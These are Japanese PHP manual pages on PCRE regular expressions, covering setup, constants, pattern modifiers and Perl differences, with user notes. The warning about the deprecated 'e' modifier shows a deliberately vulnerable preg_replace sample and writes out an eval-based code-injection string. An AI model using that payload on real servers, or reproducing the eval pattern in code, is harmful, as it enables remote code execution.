protected string $file ;
protected int $line ;
/* メソッド */
/* 継承したメソッド */
final public Exception::getMessage ( ) : string
final public Exception::getPrevious ( ) : Exception
final public Exception::getCode ( ) : mixed
final public Exception::getFile ( ) : string
final public Exception::getLine ( ) : int
final public Exception::getTrace ( ) : array
final public Exception::getTraceAsString ( ) : string
public Exception::__toString ( ) : string
final private Exception::__clone ( ) : void
}

User Contributed Notes

There are no user contributed notes for this page.


正規表現 (Perl 互換)

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • 例
  • PCRE のパターン
    • 正規表現パターンに使用可能な修飾子 — パターン修飾子
    • Perl とは異なる点 — Perl との違い
    • POSIX 正規表現との違い
    • PCRE 正規表現構文 — パターン構文
  • PCRE 関数
    • preg_filter — 正規表現による検索と置換を行う
    • preg_grep — パターンにマッチする配列の要素を返す
    • preg_last_error_msg — 最後に実行した PCRE 正規表現に関するエラーメッセージを返す
    • preg_last_error — 直近の PCRE 正規表現処理のエラーコードを返す
    • preg_match_all — 繰り返し正規表現検索を行う
    • preg_match — 正規表現によるマッチングを行う
    • preg_quote — 正規表現文字をクオートする
    • preg_replace_callback_array — 正規表現検索を行い、コールバック関数を使用して置換を行う
    • preg_replace_callback — 正規表現検索を行い、コールバック関数を使用して置換を行う
    • preg_replace — 正規表現検索および置換を行う
    • preg_split — 正規表現で文字列を分割する

User Contributed Notes

There are no user contributed notes for this page.


はじめに

この正規表現関数で使用するパターンの構文は、Perl と類似しています。 正規表現は、スラッシュ (/) などのデリミタで囲う必要があります。 デリミタには使用できるのは、非英数字、非空白文字の任意の ASCII 文字ですが、バックスラッシュ (\) と null バイトは使用できません。 デリミタ文字を正規表現本体において使用する必要がある場合は、 バックスラッシュでエスケープします。 Perl形式の (), {}, [], <> を使用することもできるでしょう。 パターンの詳細については、パターン構文 を参照してください。

様々な修飾子を終端デリミタの後に付け、 マッチングに変化を与えることができます。 パターン修飾子 を参照ください。

PHP は、POSIX 拡張正規表現関数 において、 POSIX 拡張構文を用いた正規表現もサポートしています。

注意:

この拡張モジュールでは、コンパイルした正規表現のために スレッド単位のグローバルキャッシュ (最大 4096) を管理しています。

警告

PCRE には、いくつかの制限があります。詳細は、» http://www.pcre.org/pcre.txt を参照してください。

PCRE ライブラリは、Perl 5 と同じ文法構文を用いた 正規表現パターンマッチ処理を実装した関数群ですが、多少異なる点もあります (以下を参照ください)。現在の実装は Perl 5.005 に対応しています。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

PCRE は PHP のコア拡張モジュールなので、常に有効となっています。 デフォルトでは、この拡張モジュールのコンパイルには、バンドルされている PCRE ライブラリを利用します。別の PCRE ライブラリを使ってコンパイルする場合は、オプション --with-pcre-regex=DIR を利用します。 このとき DIR には、PCRE のインクルードファイルやライブラリファイルがある場所を指定します。 PCRE 8.10 以降を使うことを推奨します。PHP 7.3.0 以降では、PCRE2 が必須になっています。

PCRE の JIT(ジャストインタイムコンパイル) 機能はデフォルトでサポートされています。 PHP 7.0.12 以降では、--without-pcre-jit 構成オプションで無効化できます。

Windows 版の PHP には この拡張モジュールのサポートが組み込まれています。これらの関数を使用 するために拡張モジュールを追加でロードする必要はありません。

PCRE は活発なプロジェクトであり、変化し続けています。 PHP で使える機能もそれに依存しています。 PHP のドキュメントも部分的に時代遅れになっている可能性があり、 PCRE の最新機能は網羅できていないかもしれません。 変更点の一覧は、 » PCRE ライブラリの変更履歴 を参照ください。また、バンドルされている PCRE の履歴も参考になるでしょう。

バンドルされている PCRE ライブラリの更新履歴
PHP バージョン | PCRE バージョン | 備考
7.4.12, 8.0.0 | 10.35 |
7.4.6 | 10.34 |
7.4.0 | 10.33 |
7.3.0 | 10.32 |
7.2.0 | 8.41 |
7.0.3 | 8.38 | See CVE-2015-8383, CVE-2015-8386, CVE-2015-8387, CVE-2015-8389, CVE-2015-8390, CVE-2015-8391, CVE-2015-8393, CVE-2015-8394
7.0.0 | 8.37 | See CVE-2015-2325, CVE-2015-2326

User Contributed Notes

Lrinczy Zsigmond 17-Sep-2018 12:22
From PHP version 7.3, 'pcre2' is used instead of 'pcre'. It is bundled with the PHP source, or a preinstalled pcre2 can be used if it was compiled with these configure-options:

--enable-shared --enable-unicode --enable-jit

If you want to use preinstalled pcre2 with PHP, use configure-options --with-pcre-dir=<path> and --with-pcre-regex=<path> (I don't know why there is two of them).


実行時設定

php.ini の設定により動作が変化します。

PCRE 設定オプション
名前 | デフォルト | 変更可能 | 変更履歴
pcre.backtrack_limit | "1000000" | PHP_INI_ALL | PHP 5.2.0 以降で使用可能
pcre.recursion_limit | "100000" | PHP_INI_ALL | PHP 5.2.0 以降で使用可能
pcre.jit | "1" | PHP_INI_ALL | PHP 7.0.0 以降で使用可能
PHP_INI_* モードの詳細および定義については どこで設定を行うのか を参照してください。

以下に設定ディレクティブに関する 簡単な説明を示します。

pcre.backtrack_limit int

PCRE のバックトラック処理の制限値。 PHP < 5.3.7 ではデフォルトが 100000 でした。

pcre.recursion_limit int

PCRE の再帰処理の制限値です。この値を大きくすると、 使用可能なプロセススタックを使い切ってしまい、 (OS のスタックサイズの制限値に達して) PHP をクラッシュさせてしまうことに注意しましょう。

pcre.jit bool

PCRE の just-in-time コンパイルを利用するかどうか。

User Contributed Notes

610010559 at qq dot com 18-Nov-2019 12:05
pcre.backtrack_limit can be set to -1;
ini_set("pcre.backtrack_limit", "-1");

after i put the above code in my code, it works;
so i guess -1 means infinite(i am not very sure ,but it works);
so when you have not idea how much it should be set in your program, you can try this.
chris at ocproducts dot com 02-Jul-2010 07:42
pcre.backtrack_limit sets the maximum bind length PREG calls (e.g. preg_replace_callback) can make. However the actual maximum seems to be approximately half the value set here, possibly due to the character encoding that PCRE runs with internally.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

PREG 定数
定数 | 説明 | 使用可能
PREG_PATTERN_ORDER | $matches[0] はパターン全体にマッチした文字列の配列、 $matches[1] は第 1 のキャプチャ用サブパターンにマッチした文字列の配列、 といったように結果の順序を指定します。 このフラグは、preg_match_all() でのみ使用されます。 |
PREG_SET_ORDER | $matches[0] は 1 回目のマッチングでキャプチャした値の配列、 $matches[1] は 2 回目のマッチングでキャプチャした値の配列、 といったように結果の順序を指定します。 このフラグは、preg_match_all() でのみ使用されます。 |
PREG_OFFSET_CAPTURE | PREG_SPLIT_OFFSET_CAPTURE の説明を参照してください。 |
PREG_SPLIT_NO_EMPTY | このフラグは、preg_split() が、空文字列でないものだけ を返すようにします。 |
PREG_SPLIT_DELIM_CAPTURE | このフラグは、preg_split() が 文字列分割用のパターン中のカッコによるサブパターンでキャプチャされた値も 同時に返すようにします。 |
PREG_SPLIT_OFFSET_CAPTURE | このフラグを設定した場合、各マッチに対応する文字列のオフセットも返されます。 これにより、返り値は配列となり、配列の要素 0 はマッチした文字列、 要素 1 は対象文字列中におけるマッチした文字列のオフセット値となることに注意してください。 このフラグは preg_split() のみで使用されます。 |
PREG_UNMATCHED_AS_NULL | このフラグは、 preg_match() と preg_match_all() 関数で マッチしなかったサブパターンがあった場合に、 $matches に null を入れることで伝えます。 このフラグがないと、マッチしなかったサブパターンは いかにも空文字列にマッチしたかのように空文字列として通知されます。 このフラグを設定することで、これらふたつの場合を区別できます。 | 7.2.0
PREG_NO_ERROR | エラーが存在しなかった場合に preg_last_error() から返されます。 | 5.2.0
PREG_INTERNAL_ERROR | PCRE 内部エラーが発生した場合に preg_last_error() から返されます。 | 5.2.0
PREG_BACKTRACK_LIMIT_ERROR | backtrack limit に達した場合に preg_last_error() から返されます。 | 5.2.0
PREG_RECURSION_LIMIT_ERROR | recursion limit に達した場合に preg_last_error() から返されます。 | 5.2.0
PREG_BAD_UTF8_ERROR | 壊れている UTF8 データによって直近のエラーが発生した場合に preg_last_error() から返されます (UTF-8 モード で正規表現を実行した場合のみ)。 | 5.2.0
PREG_BAD_UTF8_OFFSET_ERROR | オフセットが妥当な UTF-8 コードポイントの開始位置に対応しない場合に preg_last_error() から返されます (UTF-8 モード で正規表現を実行した場合のみ)。 | 5.3.0
PREG_JIT_STACKLIMIT_ERROR | 直近の PCRE 関数の実行が JIT スタック空間の制限によって失敗した場合に preg_last_error() から返されます。 | 7.0.0
PCRE_VERSION | PCRE のバージョンおよびリリース日 (例: "7.0 18-Dec-2006")。 | 5.2.4

User Contributed Notes

Robert 23-Dec-2015 10:41
The new PREG_JIT_STACKLIMIT_ERROR constant introduced with PHP 7.0.0 has got a value of 6.

I experienced this error code when parsing a 112KB file. preg_match_all failed with this error. Interesting was: The matches array contained some entries, but not all as the command failed (I missed to check the return value).

Unfortunately you can not configure the stack-size of the PCRE JIT. The only way out was - at least for me - to disable the PCRE JIT via php.ini (pcre.jit=0).
erutan409 at hotmail dot com 31-Jul-2015 01:24
PREG_PATTERN_ORDER: 1
PREG_SET_ORDER: 2
PREG_OFFSET_CAPTURE: 256
PREG_SPLIT_NO_EMPTY: 1
PREG_SPLIT_DELIM_CAPTURE: 2
PREG_SPLIT_OFFSET_CAPTURE: 4
PREG_NO_ERROR: 0
PREG_INTERNAL_ERROR: 1
PREG_BACKTRACK_LIMIT_ERROR: 2
PREG_RECURSION_LIMIT_ERROR: 3
PREG_BAD_UTF8_ERROR: 4
PREG_BAD_UTF8_OFFSET_ERROR: 5
PCRE_VERSION: %YOUR_VERSION_NUMBER%


例

例1 有効なパターンの例

  • /<\/\w+>/
  • |(\d{3})-\d+|Sm
  • /^(?i)php[34]/
  • {^\s+(\s+)?$}

例2 無効なパターンの例

  • /href='(.*)' - 終端デリミタが抜けている
  • /\w+\s*\w+/J - 未知の修飾子 'J'
  • 1-\d3-\d3-\d4| - 始端デリミタが抜けている

User Contributed Notes

There are no user contributed notes for this page.


PCRE のパターン

目次

  • 正規表現パターンに使用可能な修飾子
  • Perl とは異なる点
  • POSIX 正規表現との違い
  • PCRE 正規表現構文

User Contributed Notes

There are no user contributed notes for this page.


パターン修飾子

現在使用可能な PCRE 修飾子の一覧を以下に示します。 括弧の中の名前は、これらの修飾子に関する PCRE 内部の名前です。 修飾子中での空白文字および改行は無視されます。他の文字はエラーになります。

i (PCRE_CASELESS)
この修飾子を設定すると、パターンの中の文字は 大文字にも小文字にもマッチします。
m (PCRE_MULTILINE)
デフォルトで、PCRE は、検索対象文字列を（実際には複数行からなる 場合でも）単一の行からなるとして処理します。 「行頭」メタ文字 (^) は、対象文字列の最初にしかマッチしません。 一方、「行末」メタ文字 ($) は、文字列の最後、または （D 修飾子が設定されていない場合） 最後にある改行記号の前のみにしかマッチしません。 この動作は Perl と同じです。 この修飾子を設定すると、「行頭」および「行末」メタ文字は 対象文字列において、文字列の最初と最後に加えて、 各改行の直前と直後にそれぞれマッチします。 この動作は、Perl の /m 修飾子と同じです。 対象文字列の中に "\n" 文字がない場合や、 またはパターンに ^ または $ がない場合は、 この修飾子を設定しても意味はありません。
s (PCRE_DOTALL)
この修飾子を設定すると、パターン中のドットメタ文字は 改行を含む全ての文字にマッチします。 これを設定しない場合は、改行にはマッチしません。 この修飾子は、Perl の /s 修飾子と同じです。 [^a] のような否定の文字クラスは、 この修飾子の設定によらず、常に改行文字にマッチします。
x (PCRE_EXTENDED)
この修飾子を設定すると、エスケープするか 文字クラスの内部を除き、 パターンの空白文字は完全に無視されます。 文字クラスの外にあって、かつエスケープされていない # と次の改行文字の間の文字も無視されます。 この動作は、Perl の /x 修飾子と同じであり、複雑なパターンの内部に コメントを記述することが可能となります。 しかし、この修飾子は、データ文字にのみ適用されることに注意 してください。空白文字をパターンの特殊文字の並びの中、 例えば条件付きサブパターン (?( の内部に置くことはできません。
e (PREG_REPLACE_EVAL)
警告

この機能は PHP 5.5.0 で 非推奨 となり、 PHP 7.0.0 で 削除 されました。

この非推奨の修飾子を設定すると、preg_replace() は、置換文字列において後方参照に関する通常の置換を行った後、 PHP コードとして評価し、検索文字列を置換するためにその結果を 使用します。 置換された後方参照においては、 単引用符や二重引用符、バックスラッシュ (\)および NULL 文字は バックスラッシュでエスケープされます。
警告

マッチした後方参照ごとに addslashes() が実行されてから、 置換を行います。つまり、クォートした文字列として後方参照を利用した場合、 エスケープした文字がリテラルに変換されます。 しかし、エスケープされた文字については、通常は変換されず、 スラッシュが残ったままになります。 そのため、この修飾子はとても複雑なものになってしまいます。

警告

replacement が PHP のコードとして妥当な文字列であることを確認しましょう。 そうでない場合は、 preg_replace() を含む行で PHP のパースエラーが発生します。

警告

この修飾子を使うことはおすすめしません。 リモートから実行可能な脆弱性を作ってしまいがちだからです。 これを防ぐには、preg_replace_callback() 関数を代わりに使うべきです:

<?php
$html = $_POST['html'];

// 見出しを大文字にします
$html = preg_replace(
    '(<h([1-6])>(.*?)</h\1>)e',
    '"<h$1>" . strtoupper("$2") . "</h$1>"',
    $html
);

このサンプルが preg_replace() と e 修飾子を使って書かれている場合、 攻撃するのは簡単で、 <h1>{${eval($_GET[php_code])}}</h1> のような文字列を渡すだけで攻略できます。 攻撃者は任意の PHP コードを実行でき、 サーバーに対するほぼ完全なアクセス権を与えることになってしまいます。

注意:

この修飾子を使用するのは、preg_replace()のみです。 他の PCRE 関数では無視されます。

A (PCRE_ANCHORED)
この修飾子を設定すると、パターンは強制的に固定 (anchored) となります。 つまり、検索対象文字列の先頭でのみマッチするように制限されます。 パターン自体の中に適当な指定を行うことでも同様の効果を得ることが可能です。 Perl ではパターン中に指定する方法しか使用できません。
D (PCRE_DOLLAR_ENDONLY)
この修飾子を設定すると、パターン内のドルメタ文字は、検索対象文字列の 終わりにのみマッチします。この修飾子を設定しない場合、ドル記号は、 検索対象文字列の最後の文字が改行文字であれば、その直前にもマッチします。 この修飾子は、m を設定している場合に無視されます。 Perl には、この修飾子に等価なものはありません。
S
あるパターンを複数回使用する場合は、マッチングにかかる時間を 高速化することを目的として、パターンの分析に幾分か時間をかけても 良いでしょう。この修飾子を設定すると、追加のパターン分析が 行われます。現在、パターン分析は、最初の文字が単一ではなく、 かつ固定でないパターンに対してのみ有用です。
U (PCRE_UNGREEDY)
この修飾子を設定すると、量指定子の「貪欲さ」が反転します。 つまり、量指定子は、デフォルトで貪欲でなく、 疑問符を後ろに付けてはじめて貪欲になるようになります。 この修飾子は Perl 互換では有りません。 同様の設定は、(?U) 修飾子を パターン内で設定 するか、（.*? のように）量指定子の後に疑問符を 付けるかすることで行うこともできます。

注意:

通常は、非貪欲モードでは pcre.backtrack_limit 文字を超えるマッチができません。

X (PCRE_EXTRA)
この修正子は、Perl 非互換な PCRE の機能を有効にします。 パターン内で後ろに文字が続くバックスラッシュで特別な意味がないものは、 将来的な拡張の際の互換性の維持のため、エラーになります。 デフォルトでは、Perl のように文字が後ろに続くバックスラッシュ で特に意味がないものは、リテラルとして処理されます。 この修飾子により制御される機能は、現在の所、これだけです。
J (PCRE_INFO_JCHANGED)
(?J) 内部オプションは、ローカルのオプション PCRE_DUPNAMES の設定を変更します。 サブパターンで重複した名前を使用できるようになります。 7.2.0 以降、J も同様に修飾子としてサポートされます。
u (PCRE_UTF8)
この修正子は、Perl 非互換な PCRE の機能を有効にします。パターンと対象文字列は、 UTF-8 として処理されます。 無効な対象文字列を preg_* 関数に渡しても、何もマッチしません。 無効なパターンを渡すと、E_WARNING レベルのエラーが発生します。 5オクテットおよび6オクテットの UTF-8 シーケンスは、PHP 5.3.4 以降 (PCRE 7.3 2007-08-28 以降) では無効とみなされます。 以前のバージョンでは、これらも UTF-8 として有効だとみなされていました。

User Contributed Notes

Hayley Watson 30-Jun-2020 01:01
Starting from 7.3.0, the 'S' modifier has no effect; this analysis is now always done by the PCRE engine.
Anonymous 22-Jul-2019 12:37
A warning about the /i modifier and POSIX character classes:
If you're using POSIX character classes in your regex that indicate case such as [:upper:] or [:lower:] in combination with the /i modifier, then in PHP < 7.3 the /i modifier will take precedence and effectively make both those character classes work as [:alpha:], but in PHP >= 7.3 the character classes overrule the /i modifier.
Wirek 23-Feb-2018 12:05
An important addendum (with new $pat3_2 utilising \R properly, its results and comments):
Note that there are (sometimes difficult to grasp at first glance) nuances of meaning and application of escape sequences like \r, \R and \v - none of them is perfect in all situations, but they are quite useful nevertheless. Some official PCRE control options and their changes come in handy too - unfortunately neither (*ANYCRLF), (*ANY) nor (*CRLF) is documented here on php.net at the moment (although they seem to be available for over 10 years and 5 months now), but they are described on Wikipedia ("Newline/linebreak options" at https://en.wikipedia.org/wiki/Perl_Compatible_Regular_Expressions) and official PCRE library site ("Newline convention" at http://www.pcre.org/original/doc/html/pcresyntax.html#SEC17) pretty well. The functionality of \R appears somehow disappointing (with default configuration of compile time option) according to php.net as well as official description ("Newline sequences" at https://www.pcre.org/original/doc/html/pcrepattern.html#newlineseq) when used improperly.

A hint for those of you who are trying to fight off (or work around at least) the problem of matching a pattern correctly at the end (or at the beginning) of any line even without the multiple lines mode (/m) or meta-character assertions ($ or ^).
<?php
// Various OS-es have various end line (a.k.a line break) chars:
// - Windows uses CR+LF (\r\n);
// - Linux LF (\n);
// - OSX CR (\r).
// And that's why single dollar meta assertion ($) sometimes fails with multiline modifier (/m) mode - possible bug in PHP 5.3.8 or just a "feature"(?) of default configuration option for meta-character assertions (^ and $) at compile time of PCRE.
$str="ABC ABC\n\n123 123\r\ndef def\rnop nop\r\n890 890\nQRS QRS\r\r~-_ ~-_";
//          C          3                   p          0                   _
$pat3='/\w\R?$/mi';    // Somehow disappointing according to php.net and pcre.org when used improperly
$pat3_2='/\w(?=\R)/i';    // Much better with allowed lookahead assertion (just to detect without capture) without multiline (/m) mode; note that with alternative for end of string ((?=\R|$)) it would grab all 7 elements as expected, but '/(*ANYCRLF)\w$/mi' is more straightforward in use anyway
$p=preg_match_all($pat3, $str, $m3);
$r=preg_match_all($pat3_2, $str, $m4);
echo $str."\n3 !!! $pat3 ($p): ".print_r($m3[0], true)
    ."\n3_2 !!! $pat3_2 ($r): ".print_r($m4[0], true);
// Note the difference between the two very helpful escape sequences in $pat3 and $pat3_2 (\R) - for some applications at least.

/* The code above results in the following output:
ABC ABC

123 123
def def
nop nop
890 890
QRS QRS

~-_ ~-_
3 !!! /\w\R?$/mi (5): Array
(
    [0] => C

    [1] => 3
    [2] => p
    [3] => 0
    [4] => _
)

3_2 !!! /\w(?=\R)/i (6): Array
(
    [0] => C
    [1] => 3
    [2] => f
    [3] => p
    [4] => 0
    [5] => S
)
 */
?>
Unfortunately, I haven't got any access to a server with the latest PHP version - my local PHP is 5.3.8 and my public host's PHP is version 5.2.17.
Wirek 20-Feb-2018 01:18
A hint for those of you who are trying to fight off (or work around at least) the problem of matching a pattern correctly at the end ($) of any line in multiple lines mode (/m).
<?php
// Various OS-es have various end line (a.k.a line break) chars:
// - Windows uses CR+LF (\r\n);
// - Linux LF (\n);
// - OSX CR (\r).
// And that's why single dollar meta assertion ($) sometimes fails with multiline modifier (/m) mode - possible bug in PHP 5.3.8 or just a "feature"(?).
$str="ABC ABC\n\n123 123\r\ndef def\rnop nop\r\n890 890\nQRS QRS\r\r~-_ ~-_";
//          C          3                   p          0                   _
$pat1='/\w$/mi';    // This works excellent in JavaScript (Firefox 7.0.1+)
$pat2='/\w\r?$/mi';
$pat3='/\w\R?$/mi';    // Somehow disappointing according to php.net and pcre.org
$pat4='/\w\v?$/mi';
$pat5='/(*ANYCRLF)\w$/mi';    // Excellent but undocumented on php.net at the moment
$n=preg_match_all($pat1, $str, $m1);
$o=preg_match_all($pat2, $str, $m2);
$p=preg_match_all($pat3, $str, $m3);
$r=preg_match_all($pat4, $str, $m4);
$s=preg_match_all($pat5, $str, $m5);
echo $str."\n1 !!! $pat1 ($n): ".print_r($m1[0], true)
    ."\n2 !!! $pat2 ($o): ".print_r($m2[0], true)
    ."\n3 !!! $pat3 ($p): ".print_r($m3[0], true)
    ."\n4 !!! $pat4 ($r): ".print_r($m4[0], true)
    ."\n5 !!! $pat5 ($s): ".print_r($m5[0], true);
// Note the difference among the three very helpful escape sequences in $pat2 (\r), $pat3 (\R), $pat4 (\v) and altered newline option in $pat5 ((*ANYCRLF)) - for some applications at least.

/* The code above results in the following output:
ABC ABC

123 123
def def
nop nop
890 890
QRS QRS

~-_ ~-_
1 !!! /\w$/mi (3): Array
(
    [0] => C
    [1] => 0
    [2] => _
)

2 !!! /\w\r?$/mi (5): Array
(
    [0] => C
    [1] => 3
    [2] => p
    [3] => 0
    [4] => _
)

3 !!! /\w\R?$/mi (5): Array
(
    [0] => C

    [1] => 3
    [2] => p
    [3] => 0
    [4] => _
)

4 !!! /\w\v?$/mi (5): Array
(
    [0] => C

    [1] => 3
    [2] => p
    [3] => 0
    [4] => _
)

5 !!! /(*ANYCRLF)\w$/mi (7): Array
(
    [0] => C
    [1] => 3
    [2] => f
    [3] => p
    [4] => 0
    [5] => S
    [6] => _
)
 */
?>
Unfortunately, I haven't got any access to a server with the latest PHP version - my local PHP is 5.3.8 and my public host's PHP is version 5.2.17.
damian dot driscoll at gmail dot com 14-Sep-2017 10:15
The PCRE_INFO_JCHANGED modifier works in version 5.6.31 but not in 5.6.16, which generates an 'unknown modifier J' warning.
arash dot dalir at gmail dot com 22-Aug-2017 11:54
the PCRE_INFO_JCHANGED modifier is apparently not accepted as a global option (after the closing delimiter) in PHP versions <= 5.4 (not checked in PHP 5.5) but allowed in PHP 5.6 (also not checked in PHP 7.X)

The following pattern doesn't work in PHP 5.4, but it works in PHP 5.6:

<?php
//test.php
preg_match_all('/(?<dup_name>\d{1,4})\-(?<dup_name>\d{1,2})/J', '1234-23', $matches);
var_dump($matches);

/*
output in PHP 5.4:
Warning: preg_match_all(): Unknown modifier 'J' in test.php on line 3
NULL
--------------
output PHP 5.6:
array(4) {
    [0]=> array(1)  { [0]=> string(7) "1234-23" }
    ["dup_name"]=> array(1) { [0]=> string(2) "23" }
    [1]=> array(1) { [0]=> string(4) "1234" }
    [2]=> array(1) { [0]=> string(2) "23" }
}
*/
?>

in order to resolve this issue in PHP 5.4, one can use the (?J) pattern modifier, which indicates the pattern (from that point forward) allows duplicate names for subpatterns.

code which works in PHP 5.4:
<?php

preg_match_all('/(?J)(?<dup_name>\d{1,4})\-(?<dup_name>\d{1,2})/', '1234-23', $matches);
var_dump($matches);

/*
output in PHP 5.4:
array(4) {
    [0]=> array(1) { [0]=> string(7) "1234-23" }
    ["dup_name"]=> array(1) { [0]=> string(2) "23" }
    [1]=> array(1) { [0]=> string(4) "1234" }
    [2]=> array(1) { [0]=> string(2) "23" }
}
--------------
output in PHP 5.6 (the same as with /J):
array(4) {
    [0]=> array(1)  { [0]=> string(7) "1234-23" }
    ["dup_name"]=> array(1) { [0]=> string(2) "23" }
    [1]=> array(1) { [0]=> string(4) "1234" }
    [2]=> array(1) { [0]=> string(2) "23" }
}
*/
?>
Daniel Klein 13-Feb-2012 11:40
If the _subject_ contains utf-8 sequences the 'u' modifier should be set, otherwise a pattern such as /./ could match a utf-8 sequence as two to four individual ASCII characters. It is not a requirement, however, as you may have a need to break apart utf-8 sequences into single bytes. Most of the time, though, if you're working with utf-8 strings you should use the 'u' modifier.

If the subject doesn't contain any utf-8 sequences (i.e. characters in the range 0x00-0x7F only) but the pattern does, as far as I can work out, setting the 'u' modifier would have no effect on the result.
phpman at crustynet dot org dot uk 08-Apr-2011 08:03
The description of the "u" flag is a bit misleading. It suggests that it is only required if the pattern contains UTF-8 characters, when in fact it is required if either the pattern or the subject contain UTF-8. Without it, I was having problems with preg_match_all returning invalid multibyte characters when given a UTF-8 subject string.

It's fairly clear if you read the documentation for libpcre:

       In  order  process  UTF-8 strings, you must build PCRE to include UTF-8
       support in the code, and, in addition,  you  must  call  pcre_compile()
       with  the  PCRE_UTF8  option  flag,  or the pattern must start with the
       sequence (*UTF8). When either of these is the case,  both  the  pattern
       and  any  subject  strings  that  are matched against it are treated as
       UTF-8 strings instead of strings of 1-byte characters.

[from http://www.pcre.org/pcre.txt]
michal dot kocarek at brainbox dot cz 18-May-2009 04:49
In case you're wondering, what is the meaning of "S" modifier, this paragraph might be useful:

When "S" modifier is set, PHP calls the pcre_study() function from the PCRE API before executing the regexp. Result from the function is passed directly to pcre_exec().

For more information about pcre_study() and "Studying the pattern" check the PCRE manual on http://www.pcre.org/pcre.txt

PS: Note that function names "pcre_study" and "pcre_exec" used here refer to PCRE library functions written in C language and not to any PHP functions.
ebarnard at marathonmultimedia dot com 06-Feb-2007 02:35
When adding comments with the /x modifier, don't use the pattern delimiter in the comments. It may not be ignored in the comments area. Example:

<?php
$target = 'some text';
if(preg_match('/
                e # Comments here
               /x',$target)) {
    print "Target 1 hit.\n";
}
if(preg_match('/
                e # /Comments here with slash
               /x',$target)) {
    print "Target 1 hit.\n";
}
?>

prints "Target 1 hit." but then generates a PHP warning message for the second preg_match():

Warning:  preg_match() [function.preg-match]: Unknown modifier 'C' in /ebarnard/x-modifier.php on line 11
varrah NO_GARBAGE_OR_SPAM AT mail DOT ru 03-Nov-2005 04:12
Spent a few days, trying to understand how to create a pattern for Unicode chars, using the hex codes. Finally made it, after reading several manuals, that weren't giving any practical PHP-valid examples. So here's one of them:

For example we would like to search for Japanese-standard circled numbers 1-9 (Unicode codes are 0x2460-0x2468) in order to make it through the hex-codes the following call should be used:
preg_match('/[\x{2460}-\x{2468}]/u', $str);

Here $str is a haystack string
\x{hex} - is an UTF-8 hex char-code
and /u is used for identifying the class as a class of Unicode chars.

Hope, it'll be useful.
hfuecks at nospam dot org 15-Jul-2005 07:14
Regarding the validity of a UTF-8 string when using the /u pattern modifier, some things to be aware of;

1. If the pattern itself contains an invalid UTF-8 character, you get an error (as mentioned in the docs above - "UTF-8 validity of the pattern is checked since PHP 4.3.5"

2. When the subject string contains invalid UTF-8 sequences / codepoints, it basically result in a "quiet death" for the preg_* functions, where nothing is matched but without indication that the string is invalid UTF-8

3. PCRE regards five and six octet UTF-8 character sequences as valid (both in patterns and the subject string) but these are not supported in Unicode ( see section 5.9 "Character Encoding" of the "Secure Programming for Linux and Unix HOWTO" - can be found at http://www.tldp.org/ and other places )

4. For an example algorithm in PHP which tests the validity of a UTF-8 string (and discards five / six octet sequences) head to: http://hsivonen.iki.fi/php-utf8/

The following script should give you an idea of what works and what doesn't;

<?php
$examples = array(
    'Valid ASCII' => "a",
    'Valid 2 Octet Sequence' => "\xc3\xb1",
    'Invalid 2 Octet Sequence' => "\xc3\x28",
    'Invalid Sequence Identifier' => "\xa0\xa1",
    'Valid 3 Octet Sequence' => "\xe2\x82\xa1",
    'Invalid 3 Octet Sequence (in 2nd Octet)' => "\xe2\x28\xa1",
    'Invalid 3 Octet Sequence (in 3rd Octet)' => "\xe2\x82\x28",

    'Valid 4 Octet Sequence' => "\xf0\x90\x8c\xbc",
    'Invalid 4 Octet Sequence (in 2nd Octet)' => "\xf0\x28\x8c\xbc",
    'Invalid 4 Octet Sequence (in 3rd Octet)' => "\xf0\x90\x28\xbc",
    'Invalid 4 Octet Sequence (in 4th Octet)' => "\xf0\x28\x8c\x28",
    'Valid 5 Octet Sequence (but not Unicode!)' => "\xf8\xa1\xa1\xa1\xa1",
    'Valid 6 Octet Sequence (but not Unicode!)' => "\xfc\xa1\xa1\xa1\xa1\xa1",
);

echo "++Invalid UTF-8 in pattern\n";
foreach ( $examples as $name => $str ) {
    echo "$name\n";
    preg_match("/".$str."/u",'Testing');
}

echo "++ preg_match() examples\n";
foreach ( $examples as $name => $str ) {

    preg_match("/\xf8\xa1\xa1\xa1\xa1/u", $str, $ar);
    echo "$name: ";

    if ( count($ar) == 0 ) {
        echo "Matched nothing!\n";
    } else {
        echo "Matched {$ar[0]}\n";
    }

}

echo "++ preg_match_all() examples\n";
foreach ( $examples as $name => $str ) {
    preg_match_all('/./u', $str, $ar);
    echo "$name: ";

    $num_utf8_chars = count($ar[0]);
    if ( $num_utf8_chars == 0 ) {
        echo "Matched nothing!\n";
    } else {
        echo "Matched $num_utf8_chars character\n";
    }

}
?>


Perl との違い

Perl 5.005 との違いについて以下に説明します。

  1. デフォルトでは、空白文字は C ライブラリ関数 isspace() が認識する文字となります。PCRE を別の文字型テーブルを用いて コンパイルすることも可能です。通常、isspace() はスペース、改ページ、 改行、復帰、水平タブ、垂直タブにマッチします。 Perl 5 では、現在、 垂直タブが空白文字として扱われていません。 Perl ドキュメントには \v というエスケープが記載されていましたが、実際は認識されていませんでした。 ただし、垂直タブ文字は少なくとも 5.002 までは空白文字として 処理されていました。 5.004 および 5.005 では、\s にマッチしなくなっています。
  2. PCRE では、先読み言明に量指定子を指定できません。Perl では可能ですが、思ったような動作を意味しないかもしれません。 例えば、(?!a){3} は、続く 3 文字が "a" でないことの言明ではありません。 この指定は、次の 1 文字が "a" ではないことを 3 回言明するだけです。
  3. 否定の先読み言明の中に記述したキャプチャ用サブパターンは カウントされますが、対応するオフセットにそのエントリは セットされません。 Perlでは、言明のマッチングに失敗する前に マッチしたパターンからその変数を設定しますが、それが行われるのは、 否定の先読み言明中の選択肢が 1 つだけの場合のみです。
  4. ヌル文字は、検索対象文字列においては使用できますが、 パターン文字列内では使用できません。これは、パターン文字列が 0 を終端とする通常の C 文字列として渡されるためです。パターン中では、 エスケープシーケンス "\x00" を使ってヌル文字を表すことができます。
  5. 次の Perl エスケープシーケンスはサポートされせん。 \l, \u, \L, \U。 これらのエスケープシーケンスは、Perl のパターンマッチエンジン内 ではなく、文字列処理の部分で実装されているためです。
  6. Perl の \G 言明は、単一のパターンマッチに対しては意味がなく、 サポートされません。
  7. 当然ながら、PCRE により、(?{code}) 構文および (??{code}) 構文はサポートされません。しかし、再帰的なパターンはサポートしています。
